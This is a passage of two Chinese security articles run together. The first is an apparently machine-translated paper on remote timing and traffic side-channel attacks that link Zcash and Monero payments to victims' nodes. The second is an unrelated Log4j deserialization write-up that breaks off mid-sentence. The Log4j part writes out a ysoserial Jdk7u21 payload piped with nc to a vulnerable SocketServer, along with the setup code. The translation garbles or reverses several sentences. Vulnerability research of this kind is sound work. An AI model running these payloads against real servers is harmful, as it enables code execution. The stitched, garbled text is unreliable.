对Zcash的攻击采用了第二种策略，该策略利用了用户钱包与P2P节点之间缺乏隔离的特性，将钱包行为泄露给了远程P2P攻击者。在Zcash客户端中，这两个组件是单个进程的一部分，该进程顺序处理收到的消息（包括新事务）。本研究描述了利用这种紧密耦合的两个侧信道攻击。在本节中，经常使用术语“节点”来指代同时实现P2P客户端和钱包的单个过程。
### 1） Zcash中的不可链接性
为了理解本研究的侧信道攻击，首先描述Zcash如何保证不可链接性。不可链接性依赖于两个概念：（1）交易仅包含对收件人公钥的承诺，（2）用户可以从一个秘密密钥中衍生出多个不可链接的公钥（多种地址）。
Zcash的多样化地址是静态Diffie-Hellman密钥，私钥是标量ivk（传入的查看密钥）。多种公钥的形式为（Gd，PKd），其中Gd是椭圆曲线组中的随机点，而PKd = ivk·Gd。
付款到地址（Gd，PKd）包含以下格式的UTXO（票据承诺）：
其中v是发送量，rcm是承诺随机性。为了以后使用此UTXO，接收者必须证明她知道cm的公开。
带内秘密分发：发件人使用El-Gamalencryption与收件人共享cm的开口。发送者对临时密钥esk进行采样，计算公钥EPK =
esk·Gd，并得出共享密钥：
承诺cm的开头包含在Noteplaintext（np）中。发送者使用密钥k在经过身份验证的加密方案下对Note纯文本np进行加密，并将密文C和临时公共密钥EPK附加到事务中。
区块链扫描为了收回她的资金，用户使用她的私钥ivk扫描每笔交易。对于使用公钥EPK，Note密文C和Note承诺cm的交易，她计算：
也就是说，如果解密C成功（这意味着用户是交易的收款人），则用户将检查Note明文np是否包含Note承诺cm的有效开头。
### 2）本研究的攻击
本研究的攻击（PING和REJECT）使攻击者能够判断远程Zcash节点是否成功解密了交易的Note密文。由此，攻击者得知该远程节点属于交易的收款人。
两种攻击的设置有所不同（REJECT仅适用于攻击者制作的事务，而PING适用于任何事务），它们利用的是侧信道（REJECT的错误消息和PING的计时侧信道）
。
如前所述，识别交易收款人的P2P节点还可以使攻击者进行链接交易，恢复用户的IP地址，链接多样化的付款地址，甚至打开计时侧信道（原则上），从而可以远程提取交易对象。受害者的私人查看密钥ivk。
PING和REJECT攻击都利用（弱）形式的“解密预言机”
，这使攻击者可以了解节点是否正确解密了给定的密文。但是，本研究的设置与标准选择的密文攻击完全不同。确实，此类攻击通常依赖于向（单个）受害者发送任意密文，以及了解解密后的明文的某些谓词的能力（例如，明文的格式是否正确）。正如将看到的，在案例中，攻击者要么已经知道Note的纯文本（用于REJECT攻击），要么没有创建新的有效的经过身份验证的Note密文的能力（用于PING攻击）。本文的攻击并没有像传统的CCA攻击那样试图破坏语义安全，而是使用解密预言机来识别网络中哪个用户拥有解密交易的Note密文的密钥。
**实验设置：**
在修复漏洞以响应本文的披露之前，评估了对Zcash版本2.0.7的所有攻击。对于在WAN环境中进行的实验，受害者在苏黎世的计算机上运行（四核Intel
i7700 CPU [@3](https://github.com/3 "@3").60GHz，带有8GB的RAM，运行Ubuntu
18.04.2），远程攻击者则在Google云上运行伦敦（N1标准实例）。测量的平均往返延迟为21毫秒，标准差为亚毫秒。
#### (a)PING攻击
本文的第一个攻击PING利用Zcash客户端中的钱包和P2P组件之间的紧密结合。更确切地说，利用Zcash客户端串行处理所有传入的P2P消息（包括包含新交易的消息）的事实。结果，处理事务所花费的时间会影响节点对其他消息的处理。因此，远程P2P攻击者可以建立一个计时侧信道，以防止节点成为交易的收款人。PING攻击适用于任何交易，即使是诚实用户发送的交易，而攻击者也不知道收款人的公钥。
**事务处理中的计时侧信道：**
如果Zcash钱包成功解密了Note密文，它将检查Note承诺的打开是否有效（TrialDecrypt中的第6行）。这涉及到计算具有两个椭圆曲线标量乘法的Pedersen哈希。因此，解密成功时，TrialDecrypt调用会花费更长的时间（在台式机上大约需要一毫秒）。
P2P攻击者可以通过在收到新交易后立即向Zcash节点发送“
ping”消息来测量TrialDecrypt呼叫的持续时间。该节点的钱包首先处理该交易，并在该节点响应ping之前调用TrialDecrypt。直到收到ping响应为止的时间，泄漏有关Note解密成功的信息，并因此通知该节点是否是中继交易的收款人。
**块处理中的计时侧信道：** 以上攻击适用于进入受害者节点内存池的未确认交易。同样的漏洞也适用于开采区块中包含的交易。
收到新块后，Zcash节点将顺序处理并尝试解密其中的每个事务。因此，验证区块的总时间取决于支付用户的交易数量。如上所述，远程攻击者可以在收到新的阻止后立即对受害节点执行ping操作，从而泄露此验证时间。
**应用攻击：**
攻击者首先使用不支付目标费用的交易对目标节点运行PING攻击，从而建立基线（攻击者可以向自己发送资金）。对于解密失败的TrialDecrypt呼叫，执行基准ping响应的时间。然后，攻击者将此基准与从新交易攻击中获得的时间进行比较。
攻击需要可靠地测量节点的事务处理时间。请注意，对于诚实用户发送的事务，无法重复进行攻击以平均消除网络波动，因为一旦节点验证了事务，它将忽略包含该事务的其他消息。一种优化包括运行上述两种PING攻击变体，一次是在事务进入节点的内存池时发生，一次是在将其包含在块中时进行（钱包在开采时对事务进行重新处理）。攻击者因此获得了两个计时测量值，从而将网络引起的方差减半。
**评估：**
在WAN中进行攻击，在苏黎世有一个受害节点，在伦敦有一个攻击者（三倍等待时间为21毫秒）。攻击者发送200笔交易，其中一半支付给受害者。上图绘制了受害者对攻击者随后的ping消息的响应时间，攻击者可以100％的精度区分这两种情况。
进一步验证了对块处理的攻击，攻击者将20个区块转发给受害者，每个区块都包含一个向受害者或另一个用户付款的交易。上图描绘了受害者ping反应的延迟。攻击达到100％的精度。通过将验证N个非付款交易的时间作为基准时间，攻击扩展到N>
1个交易的数据块。
#### （b）REJECT攻击
第二项攻击REJECT利用了处理某些格式错误的交易中的缺陷。它允许攻击者利用用户的公共密钥来发送交易，该交易导致用户的P2P节点以“拒绝”消息进行响应。REJECT攻击比PING弱，因为它仅适用于攻击者发送到已知地址的交易，同时REJECT攻击不依赖任何时序信号，因此更容易安装和更可靠。
攻击所利用的缺陷在于TrialDecrypt（第4行）中对Note纯文本的解析。明文的第一个字节编码协议版本（当前Sapling版本中为0x01）。如果版本字节不正确（即，对于Sapling事务而言不是0x01），则解析器将引发一个异常，该异常被客户端的主消息处理线程捕获，从而导致“拒绝”消息发送到共享该对象的对等方交易（请参见下图）。
这为P2P攻击者提供了一个oracle，指示成功解密了具有特殊格式的纯文本（例如，版本字节为0x02）的Note密文。
**将公钥链接到节点：**
给定一个公共密钥（Gd，PKd），攻击者可以识别持有此密钥的Zcash节点。攻击者使用不正确的前导字节构建Note纯文本，并使用从（Gd，PKd）派生的密钥对其进行加密，然后将其添加到事务中。攻击者将交易发送到所有P2P节点，并检查哪个节点以“拒绝”消息进行答复。在本地测试网络中验证了此攻击。
潜在的问题是，接收到格式不正确的交易的对等方可以在攻击者自己的消息到达收款人之前将其转发给收款人。在这种情况下，收款人将向中继点发送“拒绝”消息，而忽略攻击者的后续消息。但是，当节点在中继交易之前验证交易时，攻击者的信息很可能会先到达收款人。如果攻击者确实没有收到“拒绝”消息，则可以简单地重复攻击。
#### （c）收件人发现之外的攻击
除了链接交易和取消匿名化公钥之外，还可以进一步利用上述攻击的潜在漏洞来实现对抗目标。
拒绝服务：REJECT攻击的一个奇怪结果是，一旦包含格式错误的Note明文的交易包含在已开采的区块中，则当试图验证区块时，交易收款人的客户就会崩溃。此缺陷是有害的。即使手动重新启动了Zcash客户端，它在验证块时也会立即重新崩溃。
如果攻击者获得大量Zcash用户的付款地址，则此缺陷可能导致强大的DoS攻击媒介。更糟糕的是，如果攻击者知道许多Zcash矿工的付款地址，则可能会利用这种DoS攻击来限制网络的采矿能力（例如，准备进行51％的攻击或消除采矿竞争）。
通过ECDH定时恢复密钥。在Zcash实施ECDH密钥交换时，PING和REJECT攻击还产生了一个远程计时侧信道，特别是TrialDecrypt（第1行）中的椭圆曲线乘法ivk·EPK。
Zcash团队意识到ECDH密钥交换不是固定的时间，并且这可能被同地攻击者利用。 REJECT和PING攻击进一步打开了该侧信道被远程利用的可能性。
Zcash的“椭圆曲线”乘法例程确实不是固定时间的：它使用标准的两次加法过程，并且基础场运算也不是固定时间的。将计时攻击调整为Zcash的椭圆曲线乘法程序。对于固定的秘密ivk，在本地为100万随机点计时乘法。时序分布如上图所示，显然不是恒定的。
假设已经恢复了ivk的j个最高有效位，则通过将点倍增或点乘法的时间与总乘法时间相关联来恢复第（j
+1）位。以恢复的所有先前位为条件，以98.4％的概率恢复后续位。使用适当的回溯机制来解决一些错误的猜测，因此可以用大约一百万个样本来恢复完整密钥。
这种攻击的查询复杂度很高。在“理想化”的设置中执行攻击，忽略了网络和事务验证所花费的时间，这会增加很大的噪音并进一步增加完全远程攻击的样本复杂度。当然，本研究的概念证明也证实了Zcash团队的怀疑，即位于同一地点的攻击者可能会利用计时侧信道来掩盖用户的秘密密钥。
### 3）补救
解决REJECT攻击很简单：将纯文本parsingfailure视为解密失败，并忽略有问题的密文。此修复程序已添加到Zcash的2.0.7-3版本中。
PING攻击利用了Zcash节点的P2P和钱包组件之间缺乏隔离的特点。
2.0.7-3发行版通过将钱包重构为一个单独的线程来解决此问题，该线程会定期提取最近交易的列表并调用TrialDecrypt。
TrialDecrypt调用的时间不再影响其他P2P功能的时间。但是，版本2.0.7-3仅将PING攻击修正为未确认的交易。重构节点对新块的处理更为复杂，最终在版本2.1.1中得到修复。
一个针对本文攻击类型的简单防御方法是运行两个Zcash节点，一个连接到P2P网络的“防火墙”节点，以及一个仅持有连接到防火墙的用户密钥的本地节点。此设置需要两次存储和验证整个区块链，但要阻止本文所有攻击-除了前文中的DoS攻击。
注意到，在Tor
上运行Zcash节点并不能阻止本文的攻击。与受害人的P2P节点具有有效Tor连接的P2P攻击者仍可以链接支付受害人的交易，或链接受害人的多种地址。
最后，认为Zcash应该为其核心密码原语提供抗侧信道的实现。考虑到Zcash协议主要是非交互性的，抗侧信道似乎似乎是次要问题。如本文的攻击所示，带内秘密分发例程中的单个错误无意中允许攻击者和受害者之间进行双向交互，从而在Zcash非交互式密钥交换机制上打开了潜在的远程计时侧信道。
## 0x05 Attacks on Unlinkability and Anonymity in Monero
现在，描述在Monero中针对不可链接性和用户匿名性的侧信道攻击。这些攻击在概念上与在Zcash中发现的攻击有所不同，因为Monero客户端将钱包和P2P组件分为不同的进程。
虽然这种设计原则上更安全，但发现钱包操作仍然会通过网络流量和计时侧信道泄露给远程攻击者。首先，通过被动分析钱包和远程节点之间的流量来描述推断交易接收的攻击（策略1）。其次证明，即使用户的钱包和节点位于同一位置，本地钱包到节点的交互也会影响该节点的P2P行为，该行为会通过计时侧信道给远程攻击者。后一种攻击结合了前文中描述的两种攻击策略的各个方面。
### 1）门罗币中的不可链接性
首先提供有关Monero使用隐身地址的高级概述，隐身地址是一种用于为发送给同一收件人的每笔交易得出重新随机化的公钥的技术，以确保不可链接性。
Monero用户Alice具有以下形式的公共密钥：
其中G是椭圆曲线组的基点。标量对（a，b）∈是爱丽丝的秘密密钥。为了从另一个用户Bob获得资金，Alice与Bob共享了她的公共密钥（A，B）。
当Bob将交易发送给Alice时，他通过Diffie-Hellman密钥交换与Alice的密钥的前半部分（A）产生了一个随机化的公共密钥，该密钥的后半部分又与密钥的第二半部分（B）混合在一起。目的是产生一个点P，使得只有Alice可以计算P相对于G的离散对数。
具体来说，鲍勃选择一个临时密钥r并计算：
其中H：{0,1} *→Zq是一个哈希函数。公用密钥P和R = rG包含在事务中。请注意，P隐藏了爱丽丝的公钥（A，B）。
为了以后花费接收到的UTXO，Alice需要证明关于标量x的知识，使得P = xG。给定（P，R），她可以将该秘密计算为
**带内秘密分发：**
与前文中所述的Zcash的带内保密分发一样，发送者将一些秘密信息作为事务的一部分发送给接收者。在门罗币中，接收方唯一需要的信息是交易资金的数量（隐藏在承诺中）。为此，发送方从共享机密P导出对称密钥k并加密k下的交易量。密文C附加到事务。
区块链扫描看到具有密钥（P，R）和密文C的交易后，具有私钥（a，b）和公钥（A，B）的用户首先进行计算：
并检查P‘ =P。如果积分匹配，则用户为交易的收款人。用户使用从P派生的对称密钥k进一步解密C。
### 2）Monero部署
在介绍攻击之前，将讨论正式的Monero客户的典型部署。尽管所有常见的设置都受到本文某种形式的攻击，但某些设置比其他设置更容易受到攻击。
**远程节点：**
由于P2P节点的内存和计算要求，许多用户将他们的wallet连接到可能由第三方（例如，moneroworld.com）托管的远程节点。默认情况下，Monero钱包在创建时会连接到第三方节点，直到本地节点下载区块链（此过程可能需要几天时间）。
由于P2P节点无法访问钱包的密钥，因此原则上使用第三方节点是安全的。但是，某些隐私风险是已知的（例如，节点的主机了解钱包的IP地址，并且可以发起易于检测的攻击来跟踪钱包的交易）。但是，没有已知的攻击允许第三方节点链接交易，也没有对连接到远程拥有的节点或本地节点的钱包的任何已知攻击，本文展示了此类攻击的示例。
**钱包类型：**
Monero客户端具有三个钱包实现，它们的独特刷新策略会影响本文的攻击。主RPC接口以及在其之上构建的GUI钱包以固定的间隔（每20或10秒）刷新，以从P2P节点获取新块和未确认的交易。命令行界面（CLI）钱包每秒刷新一次，但仅获取已确认交易的新块。尽管所有钱包类型都容易受到攻击，但是CLI钱包容易受到不同的攻击，本研究将重点放在RPC和GUI钱包上。
### 3）本研究的攻击
当钱包是新的未确认或开采交易的收款人时，攻击会利用钱包和节点之间的交互差异。如果钱包连接到远程节点，则网络攻击者（或恶意远程节点）可以通过被动监视钱包和远程节点之间的加密流量来推断已收到付款。
此外，即使用户的P2P节点和钱包位于同一位置，本研究也证明P2P攻击者仍然可以利用侧信道来推断钱包何时收到付款。展示了一种主动攻击，该攻击会将请求发送到受害者的P2P节点并计时响应，以揭示锁定受害者的P2P节点的资源，以指示已收到付款。
如在Zcash中一样，这些攻击还可以将已知的公钥链接到所有者的P2P节点或钱包的IP地址，以及链接用户的多种地址。
**实验设置：**
实验设置类似于用于Zcash的设置。在修复漏洞以响应披露之前，评估了对Monero版本v0.14.1.0的所有攻击。在WAN环境中进行实验时，受害者在苏黎世的计算机上运行（四核Intel
i7-7700 CPU@ 3.60GHz，运行8GB RAM，Ubuntu
18.04.2），远程攻击者在伦敦的Googlecloud实例（N1标准实例）上运行。测量的平均往返延迟为21毫秒，偏差标准为毫秒级。
#### （a）远程节点的流量分析攻击
首先描述利用钱包和远程节点之间的通信模式的攻击。自动刷新后，钱包首先从节点请求未确认交易的列表，然后接收哈希列表。然后，它请求主体进行两种类型的交易：（1）钱包之前未处理过的交易；
（2）先前进行的以钱包为收款人的交易。
因此，恶意远程节点通过读取钱包的请求，可以轻松地了解哪些交易向钱包支付了费用。即使远程节点是受信任的，被动的网络攻击者也可以检测到钱包的交易请求（钱包和节点之间的通信很容易被指纹识别，因为钱包以固定的间隔刷新）。仅此请求的存在就可能泄露钱包是交易的收款人。由于2020年5月门罗币的流量（每天10,000次交易，或平均每9秒进行一次交易），在两次钱包刷新之间没有新交易进入内存池是很常见的。如果即使内存池没有更改，钱包也发出了交易请求，则该请求必须针对之前看到的尚未确认的支付钱包的交易。
在本地Monero网络中验证了攻击，但请注意，无论网络类型如何，攻击都能100％准确地成功，因为攻击仅取决于是否存在事务消息，而不依赖计时信号。
#### （b）远程节点的计时攻击
现在，除了钱包和节点之间交换的网络请求数量外，还显示请求之间经过的时间也泄露了是否支付了钱包。
对于每笔新交易，钱包都会检查其是否为交易的收款人。如果是这样，它将进一步解密所获得的值。结果，如果钱包是该交易的收款人，则处理交易将花费更多时间（台式机上的延迟约为2-3
ms）。
处理时间上的这种差异导致两个计时攻击。第一个目标是处理新块。刷新后，钱包会从节点上依次下载一个新块并处理其交易。因此，两个区块请求之间的时间会浪费第一区块交易的处理时间。第二次攻击针对未确认的交易。回想一下，钱包以固定间隔刷新（例如，RPC钱包每20秒刷新一次）。更确切地说，在刷新结束后，钱包会休眠一段固定的时间。因此，钱包唤醒并发送新请求的时间取决于处理在先前刷新中接收到的交易所花费的时间。
**评估：**
上图绘制了当第一个收到的区块包含单个交易时，用户钱包进行区块请求之间的延迟。如果钱包是交易的收款人，则下一个阻止请求平均延迟3.4毫秒。当钱包处理其为收款人的交易时，在两个钱包刷新期间之间观察到类似的延迟。这些时序差异足够大，可以在WAN设置中可靠地观察到。
攻击扩展到N>
1个事务的块。，攻击者首先估算处理不支付钱夹的N次交易所需的时间，然后将此估算值与观察到的延迟进行比较。即使处理一次非支付交易的时间从一次交易到另一次交易略有不同，但与处理付款时所花费的毫秒级延迟相比，这种变化可以忽略不计。
#### （c）本地节点的计时攻击
前文攻击要求受害者的钱包连接到远程节点。现在描述一种更复杂的攻击，该攻击甚至适用于位于同一位置的钱包和节点。
在这种情况下，远程攻击者无法观察到受害者节点与钱包之间的通信模式。但是，本研究开发了一种攻击，让P2P攻击者推断这些通信模式。具体来说，表明攻击者可以检测到远程钱包何时向其节点发出交易请求。正如前文所述，此请求的存在（或两个请求之间的时间）泄露说，钱包是未确认交易的收款人。
攻击利用了Monero的P2P节点中的粗调锁定（overly-coarse
locking），当处理交易请求时（由钱包或对等方通过get_objects消息发送），P2P节点在其内存池上获取全局锁定。因此，如果P2P攻击者在受害者钱包发出请求后立即发送get_objects消息，则P2P节点中的锁争用将延迟对攻击者的响应。当P2P节点在释放锁之前验证请求的事务时，锁争用的机会很高，这将导致在钱包请求时锁被保留数十毫秒。为了减少攻击者请求锁定钱包请求的风险，攻击者仅发送不存在交易的请求，因此锁定时间较短。观察响应延迟的大小会向攻击者指示钱包是否已向其节点发出了交易请求。这又告诉攻击者特定交易是否是向目标钱包的付款。
**评估：** 锁定内容引起的时序差异取决于节点内存池的当前大小。在内存池中进行20个事务时，应钱包请求大约15-20毫秒即可获得锁定。
在WAN中进行了攻击，受害者的钱包和节点位于苏黎世，而攻击者位于伦敦。池包含20笔交易，其中一笔通过钱包支付。每隔10秒，钱包就会刷新并发送一个交易请求（因为内存池中有针对钱包的付款）。攻击者不断向受害者的节点发送
get_objectsmessages并计时响应。实验结果如下图所示。计时延迟和钱包请求之间的相关性非常清楚。
如所描述的，攻击假设在向钱包的支付进入池中之后至少两次刷新钱包（即，至少20-40秒）未更改内存池。由于Monero每17秒执行一次交易，每2分钟进行一次新交易，因此这种不活动状态很常见。
### 4）补救
本文攻击已在Monero
v.0.15.0版本中修复。现在钱包只从其P2P节点请求看不见的交易，从而防止了前文中的攻击。钱包还分批请求和处理1,000个新块。因此，对块处理的计时攻击最多只能推断出某个钱包是由一批交易中的某笔交易支付的。如下所述，一种更有力的防御措施是按固定的时间表发出阻止请求。
将刷新时间与处理时间无关化：前文中对未确认交易进行处理的计时攻击是由于设计缺陷，在刷新后钱包在固定时间内睡眠。因此，Arefresh的开始时间会泄露前一个刷新周期的持续时间，后者本身会显示是否已处理付款。
这个问题是有害的，Zcash最近发布的mobileSDK也有相同的缺陷：移动钱包反复出现：（1）从远程节点请求新交易； （2）处理这些交易；
（3）休眠一段固定的时间。
最初由Monero和Zcash提出的不完整修复程序将刷新后的睡眠时间随机化。此修复程序可能足以针对以诚实用户发送的交易为目标的攻击者手，因此仅限于单个计时度量。但是，针对已知公钥的攻击者，随机延迟是不够的。在这种情况下，攻击者可以为此公钥创建多次付款，并为每次交易刷新目标钱包之间的持续时间。如果钱包持有公钥，则平均刷新时间会更长。
更好的解决方法是将钱包刷新的开始时间和处理时间完全无关化。一种简单的方法是让钱包以固定的时间间隔（例如，每分钟开始）唤醒。由于攻击者可以知道刷新时间何时开始，而不能知道刷新时间何时结束，因此可以防止本文的攻击。
Zcash和Monero均实施了该解决方案。
由于当前修补程序使用了上述不完全随机防御的一种变体，因此仅部分解决了本文对Monero CLI钱包的攻击。
## 0x06 Timing Attacks on zkSNARK Provers
前文描述的侧信道攻击通过利用P2P客户端和钱包的系统设计缺陷来避免不可链接性和匿名性保证。在本节中，将进一步研究这些系统中使用的一种基本密码原语中潜在的侧信道漏洞的可能性：简洁的零知识论点（zkSNARKs）。
遵循前文中概述的策略，旨在从单次生成证据的时间测量中恢复有关机密交易金额的信息。下一节证明了这种计时攻击会揭示有关Zcash中交易金额的信息，相反，在后文中表明，类似的攻击对于门罗币实施的特殊用途证明无效。
### 1）在Zcash Prover中计时侧信道
本文证明，对于Zcash的zkSNARK系统，证明时间在很大程度上取决于证明者证人的价值。特别是，对于匿名交易，证明证明时间与交易的机密价值密切相关。
为了发送交易，发件人创建两个证明，一个证明已用完的UTXO的所有权，另一个证明新的UTXO格式正确。在这两种证明中，见证人都是一个向量，其中除其他条款外，还包含交易价值的二进制分解。
Zcash使用Groth证明系统。对于本文的目的，足以知道证明者将证人编码为字段元素的向量（a1，…，am），并且证明者的主要计算是以下形式的“多幂”：
Gi是固定的椭圆曲线点。重要的是，Zcash的实现优化了aiGi whereai = 0的条件。因此，证明时间与证明人见证人中非零字段元素的数量相关。
由于交易量在证人中以二进制编码，因此其汉明权重会影响证明时间。而且，由于数字的二进制表示的权重与数字的绝对值相关，因此证明期限会泄露有关机密交易金额的信息。
**评估：**
为了评估计时攻击，针对[t，64]中的t均匀随机选取了2个形式的200个事务量。请注意，证明见证人除数量外（例如承诺空缺）还包含其他短暂词，这也导致证明时间的可变性。因此，对于200个随机金额中的每一个，通过对所有其他临时见证人组件进行随机化来创建20个交易，然后为这4,000个交易中的每一个对证明者进行计时。
下图显示了每个量的证明时间的平均值和标准偏差。证明时间和交易金额密切相关（R = 0.57）。虽然时间泄露仅是金额的粗略估算，但足以自信地确定大笔稀有交易。
上图中最左边的证明时间对应于零的交易量。由于Zcash的“dummy
Notes”，对这样的证据进行指纹识别特别有趣：要混淆交易中的UTXO数量，用户可以使用以下命令创建虚拟UTXO：零值。能够安排证明者时机的攻击者因此可以以较高的准确性重新识别虚拟UTXO。
**讨论：**
上述计时攻击并不容易应用。它要求对手可以对举证的时间，取决于用户的常用用法（例如，定期付款）或部署的假设进行计时。策略（例如，将证明外包给远程服务）。如果存在时机，证明所产生的泄露允许对私人交易金额进行粗略的估算。
当然，本地侧信道攻击会更加有效。然而，Zcash明确打消了这种威胁，并没有对同位攻击者提出安全保证。
最终，此攻击可作为有关非恒定时间加密实现产生的潜在潜在危险的警告。
Zcash的椭圆曲线算法的更成熟的实现正在开发中，将来可能会集成到主要客户中。注意到，使用恒定时间加密不需要引入大量的计算开销。例如，在上图中观察到最佳情况和最坏情况的证明者时间相差不到20毫秒，这不到总证明者时间的1％。因此，即使所有证明都花了恒定的最坏情况时间，开销也将保持很小。
### 2） Monero Prover中没有计时侧信道
与Zcash相比，Monero不使用通用的zk-SNARK系统。取而代之的是，Monero交易的花费者仅证明机密交易包含对[0,2
64]范围内的值的承诺。此“范围证明”基于Bulletproofs。
乍一看，可以期待Monero的证明能够展现出与Zcash类似的计时侧信道。确实，Mon
ero的范围证明还对交易值的二进制分解执行了多次幂运算，类似于等式1。但是，一个关键的区别是Bullet证明不仅对值的二进制分解起作用，而且对值的二进制分解起作用。更具体地，给定交易量v∈[0,2^n），证明者计算向量aL∈{0,1}^
n作为v的二元分解，并设置aR = aL-1^n∈{−1,0} ^n 。证明者然后计算该形式的Pedersen承诺:
其中Gi和Hi是椭圆曲线组中的固定基点。所有进一步的证明者操作都依赖于v的随机值。因此，计算的椭圆曲线操作的数量是与交易量v无关的常数。注意到，此属性是Bünz等人描述的证明协议所固有的。
与前文中的Zcash实验类似，对于一系列随机交易值，对20个证明以及其他随机选择的见证人元素进行了计时（在门罗币的情况下，见证人由交易金额和随机盲向量组成）。上图显示，证明时间本质上与交易量无关（轻微的相关性可归因于测量噪声）。但是，确实观察到证明时间不是恒定的，证明时间之间的差异最大为0.5毫秒。这可以归因于以下事实：门罗币对椭圆曲线多幂运算的实现不是固定时间的，而是依赖于某些数据相关的操作和内存访问模式。但是，所产生的较小时序差异似乎不足以可靠地从单个远程时序测量中提取秘密信息。当然，进行本地攻击会简单得多。
## 0x07 Cinclusion
已经针对Zcash和Monero等匿名交易系统提出了许多远程侧信道攻击。本文已经展示了对交易不可链接性和用户匿名性的强大攻击，这些攻击利用了定时P2P节点泄露的计时侧信道和通信模式，并在用户收到付款后泄露了通信模式。已经证明，远程攻击者可以使用此泄漏来识别任何交易的秘密收款人使用的P2P节点，并引导此功能来破坏用户匿名性，交易不可链接性和多样化的地址不可链接性。
进一步研究了在这些货币中使用零知识证明系统计时侧信道的影响。本文已经证明Zcash的实现通过证明生成的时间泄露了秘密交易数据。原则上，可以对证明进行计时的攻击者生成可以利用此泄露来提取有关交易额的信息，从而破坏交易的机密性。 | 社区文章 |
## 0x01 概述
**12/20** 的时候就看到
[**Log4j**](https://lists.apache.org/thread.html/eea03d504b36e8f870e8321d908e1def1addda16adda04327fe7c125%40%3Cdev.logging.apache.org%3E)
这个反序列化漏洞，看了眼影响版本 **1.2.4 <= Apache Log4j <= 1.2.17(最新版)**
。心想这个组件用的人很多啊，几乎Java开发的系统用作日志记录都是这个组件，但是深入看看之后我才发现，这年底了原来大家都缺kpi啊。
## 0x02 漏洞分析
看了眼描述，出问题的是 **SocketServer** 这个类，而且这里最后提到这个漏洞最初被一个团队发现过了，CVE编号是
**CVE-2017-5645** 。这我就纳闷了，既然被发现了为什么还申请编号。
等我继续深入看一下我才发现版本不对，类名不对，内心大大的一个wtf（形容一件事情出人意料，令人惊叹，所以下面分开来看看这两个洞。
### CVE-2019-17571
#### 漏洞环境搭建
第一种方法下利用下面的方法，在JDK7u21起一个SocketServer服务，即可通过第二条命令触发漏洞。
java -cp /Users/l1nk3r/Downloads/apache-log4j-1.2.17/log4j-1.2.17.jar org.apache.log4j.net.SocketServer 8888 /Users/l1nk3r/Downloads/apache-log4j-1.2.17/examples/lf5/InitUsingLog4JProperties/log4j.properties /Users/l1nk3r/Downloads/apache-log4j-1.2.17
java -jar ysoserial-master-55f1e7c35c-1.jar Jdk7u21 "open /System/Applications/Calculator.app" | nc 127.0.0.1 8888
第二种方法
**pom.xml** 文件引入一个 **gadget** 依赖，以及漏洞版本。
//pom.xml
<!-- https://mvnrepository.com/artifact/log4j/log4j -->
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<version>1.2.17</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
因为在 **org.apache.log4j.net.SimpleSocketServer** 这个方法中通过传入两个参数，这俩个参数分别是端口信息，以及
**log4j** 的配置文件，就可以创建一个 **ServerSocket** 对象等待通信。
下面的代码是基于 **JDK 8u40** 下启动的。
import org.apache.log4j.net.SimpleSocketServer;
public class Log4jdemo {
public static void main(String[] args){
String[] arguments = {"12345","src/log4j.xml"};
SimpleSocketServer.main(arguments);
}
}
通过下图中的payload即可触发漏洞。
#### 漏洞分析
当 **socketServer** 启动的时候，我们通过nc发送漏洞payload，服务端的 **serverSocket.accept()**
接收到请求之后会创建一个线程，处理 **SocketNode** 这个类。
跟进 **SocketNode** 这个类之后就发现它通过 **BufferedInputStream** 获取到通过 **Socket** 传入的
**payload** 。
经过 **SocketNode** 这个类的实例化，以及接收到payload之后，这里有个 **new Thread().start()**
的过程，也就是说这个线程启动。
(new Thread(new SocketNode(socket, LogManager.getLoggerRepository()), "SimpleSocketServer-" + port)).start()
在 **Thread** 方法中的 **Runnable** 对象正是实例化后的 **SocketNode** 这个类。
public Thread(Runnable target, String name) {
init(null, target, name, 0);
}
然后在 **java.lang.Thread#run** 会调用 **target.run()** ，而这里的 **target** 对象正是
**SocketNode** 这个类。
在 **SocketNode.run** 方法中，正是反序列化的触发点了，真的是简单粗暴的漏洞触发呀。
### CVE-2017-5645
#### 漏洞环境搭建
import java.io.IOException;
import java.io.ObjectInputStream;
import org.apache.logging.log4j.core.net.server.ObjectInputStreamLogEventBridge;
import org.apache.logging.log4j.core.net.server.TcpSocketServer;
public class Log4jDemo2
{
public static void main(String[] args)
{
TcpSocketServer<ObjectInputStream> Log4jServer = null;
try
{
Log4jServer = new TcpSocketServer(12345, new ObjectInputStreamLogEventBridge());
}
catch (IOException e)
{
e.printStackTrace();
}
Log4jServer.run();
}
}
//pom.xml
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-core</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-api -->
<dependency>
<groupId>org.apache.logging.log4j</groupId>
<artifactId>log4j-api</artifactId>
<version>2.8.1</version>
</dependency>
<!-- https://mvnrepository.com/artifact/commons-collections/commons-collections -->
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
#### 漏洞分析
创建 **TcpSocketServer** 对象的时候，代入了 **port(端口变量)** 以及
**ObjectInputStreamLogEventBridge** 对象，在这个对象里面有反序列化的入口。
之后调用 **TcpSocketServer#run** 开始运行。
这个run方法存在的意义实际上是因为 **TcpSocketServer** 继承于 **AbstractSocketServer** 。
而这个 **AbstractSocketServer** 抽象类继承了 **Runable** 接口， **Runable**
接口在Thread这个方法作用相信熟悉Java的都不太陌生。所以实际上这个run方法的作用就是把客户端连接分发给 **SocketHandler**
进行处理。
当客户端发送Socket请求过来的时候 **serverSocket.accept** 会接收到来自客户端的 **Socket** 请求。
然后 **TcpSocketServer#SocketHandler** 会创建一个新的 **ObjectInputStream** 对
象，对象内容正是我们客户端传入的payload。
public SocketHandler(Socket socket) throws IOException {
this.inputStream = TcpSocketServer.this.logEventInput.wrapStream(socket.getInputStream());
}
public ObjectInputStream wrapStream(InputStream inputStream) throws IOException {
return new ObjectInputStream(inputStream);
}
而此时我们的 **handler** 对象正是我们的线程对象，也就是说实际上这里就是 **Thread.start** ，而线程对象里面的是
**TcpSocketServer** 这个类，所以这里 **start** 后执行的自然是 **TcpSocketServer** 里的 **run**
函数。
反序列化的过程中 **TcpSocketServer#run** 方法里 **TcpSocketServer.this.logEventInput**
